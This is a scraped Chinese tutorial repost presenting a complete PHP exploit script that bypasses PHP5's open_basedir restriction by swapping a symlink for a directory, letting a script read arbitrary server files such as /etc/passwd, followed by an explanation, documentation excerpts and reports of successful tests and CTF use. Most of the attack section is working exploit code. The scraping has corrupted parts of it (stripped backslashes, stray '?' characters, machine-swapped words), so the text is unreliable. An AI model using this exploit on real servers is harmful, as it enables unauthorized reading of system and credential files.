加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > PHP教程 > 正文

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

发布时间:2020-12-13 02:21:13 所属栏目:PHP教程 来源:网络整理
导读:《PHP实例:PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍》要点: 本文介绍了PHP实例:PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍,希望对您有用。如果有疑问,可以联系我们。 PHP学习 漏洞很久之前(大概5年前)被提出来了,但并不是php代码上的

《PHP实例:PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍》要点:
本文介绍了PHP实例:PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍,希望对您有用。如果有疑问,可以联系我们。

PHP学习漏洞很久之前(大概5年前)被提出来了,但并不是php代码上的问题,所以问题一直存在,直到现在.我一直没把稳,后来yaseng告诉我的,他测试了好像5.5都可以.

破绽详情在这里 http://cxsecurity.com/issue/WLB-2009110068.

PHP进修给出我写的EXP:

代码如下:

<?php
/*
* by phithon
* From
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors',TRUE);
printf("open_basedir: %snphp_version: %sn",ini_get('open_basedir'),phpversion());
printf("disable_functions: %sn",ini_get('disable_functions'));
$file = str_replace('','/',isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__,$file);
$paths = explode('/',$file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
? mkdir($paths[$i]);
? chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
? chdir('..');
}
$paths = explode('/',$relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
? mkdir($name);
? chdir($name);
? $j++;
}
for ($i = 0; $i <= $j; $i++) {
? chdir('..');
}
$tmp = array_fill(0,$j + 1,$name);
symlink(implode('/',$tmp),'tmplink');
$tmp = array_fill(0,$j,'..');
symlink('tmplink/' . implode('/',$tmp) . $file,$exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "n-----------------content---------------nn";
echo file_get_contents($exp);
delfile('tmplink');

PHP进修function getRelativePath($from,$to) {
? // some compatibility fixes for Windows paths
? $from = rtrim($from,'/') . '/';
? $from = str_replace('',$from);
? $to?? = str_replace('',$to);

PHP进修? $from?? = explode('/',$from);
? $to???? = explode('/',$to);
? $relPath? = $to;

PHP进修? foreach($from as $depth => $dir) {
??? // find first non-matching dir
??? if($dir === $to[$depth]) {
????? // ignore this directory
????? array_shift($relPath);
??? } else {
????? // get number of remaining dirs to $from
????? $remaining = count($from) - $depth;
????? if($remaining > 1) {
??????? // add traversals up to first matching dir
??????? $padLength = (count($relPath) + $remaining - 1) * -1;
??????? $relPath = array_pad($relPath,$padLength,'..');
??????? break;
????? } else {
??????? $relPath[0] = './' . $relPath[0];
????? }
??? }
? }
? return implode('/',$relPath);
}

PHP进修function delfile($deldir){
? if (@is_file($deldir)) {
??? @chmod($deldir,0777);
??? return @unlink($deldir);
? }else if(@is_dir($deldir)){
??? if(($mydir = @opendir($deldir)) == NULL) return false;
??? while(false !== ($file = @readdir($mydir)))
??? {
????? $name = File_Str($deldir.'/'.$file);
????? if(($file!='.') && ($file!='..')){delfile($name);}
??? }
??? @closedir($mydir);
??? @chmod($deldir,0777);
??? return @rmdir($deldir) ? true : false;
? }
}

PHP进修function File_Str($string)
{
? return str_replace('//',str_replace('',$string));
}

PHP进修function getRandStr($length = 6) {
? $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
? $randStr = '';
? for ($i = 0; $i < $length; $i++) {
??? $randStr .= substr($chars,mt_rand(0,strlen($chars) - 1),1);
? }
? return $randStr;
}

如我们欲读取/etc/passwd.其实原理便是创建一个链接文件x,用相对路径指向a/a/a/a,再创建一个链接文件exp指向x/../../../etc/passwd.

其实指向的便是a/a/a/a/../../../etc/passwd,其实便是./etc/passwd.

这时候删除x,再创建一个x目录,但exp还是指向x/../../../etc/passwd,所以就胜利跨到/etc/passwd了.

精华便是这四句:

代码如下:

symlink("abc/abc/abc/abc","tmplink");
symlink("tmplink/../../../etc/passwd","exploit");
unlink("tmplink");
mkdir("tmplink");

我们拜访http://xxx/exp,如果服务器支持链接文件的拜访,那么就能读到/etc/passwd.

其中并没有任何操作触发open_basedir,但达到的 效果便是绕过了open_basedir读取任意文件 .

差错不在php,但又不知道把差错归结到谁头上,所以php一直未管这个问题.

PHP进修PHP实例:PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

PHP进修open_basedir

将 PHP 所能打开的文件限制在指定的目录树,包括文件本身.本指令 不受 平安模式打开或者关闭的影响.

当一个脚本试图用例如 fopen() 或者 gzopen() 打开一个文件时,该文件的位置将被检查.当文件在指定的目录树之外时 PHP 将拒绝打开它.所有的符号连接都会被解析,所以弗成能通过符号连接来避开此限制.

特殊值 . 指明脚本的工作目录将被作为基准目录.但这有些危险,因为脚本的工作目录可以轻易被 chdir() 而转变.

在 httpd.conf 文件中中,open_basedir 可以像其它任何配置选项一样用“php_admin_value open_basedir none”的 办法 关闭(例如某些虚拟主机中).

在 Windows 中,用分号分隔目录.在任何其它系统中用冒号分隔目录.作为 Apache 模块时,父目录中的 open_basedir 路径自动被承继.

用 open_basedir 指定的限制实际上是前缀,不是目录名.也就是说“open_basedir = /dir/incl”也会允许拜访“/dir/include”和“/dir/incls”,如果它们存在的话.如果要将拜访限制在仅为指定的目录,用斜 线结束路径名.例如:“open_basedir = /dir/incl/”.

PHP进修Note:

支持多个目录是 3.0.7 参加的.

默认是容许打开所有文件.

我在我的VPS(php5.3.28 + nginx)和树莓派(php 5.4.4 + nginx)上都测试过,胜利读取.

PHP进修树莓派测试:

PHP进修PHP实例:PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

PHP进修PHP实例:PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

相比于5.3 XML那个洞(那个很多文件读不了),这个成功率还是比拟稳的,很多文件都能读.而且版本没要求,危害比拟大.

前几天成信的CTF,试了下这个脚本,apache也可以读取,其时读了读kali机子的/etc/httpd/conf/httpd.conf,没啥收获.

发现没旁站,流量是经由过程网关转发的.

PHP进修PHP实例:PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

《PHP实例:PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍》是否对您有启发,欢迎查看更多与《PHP实例:PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍》相关教程,学精学透。编程之家 52php.cn为您提供精彩教程。

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读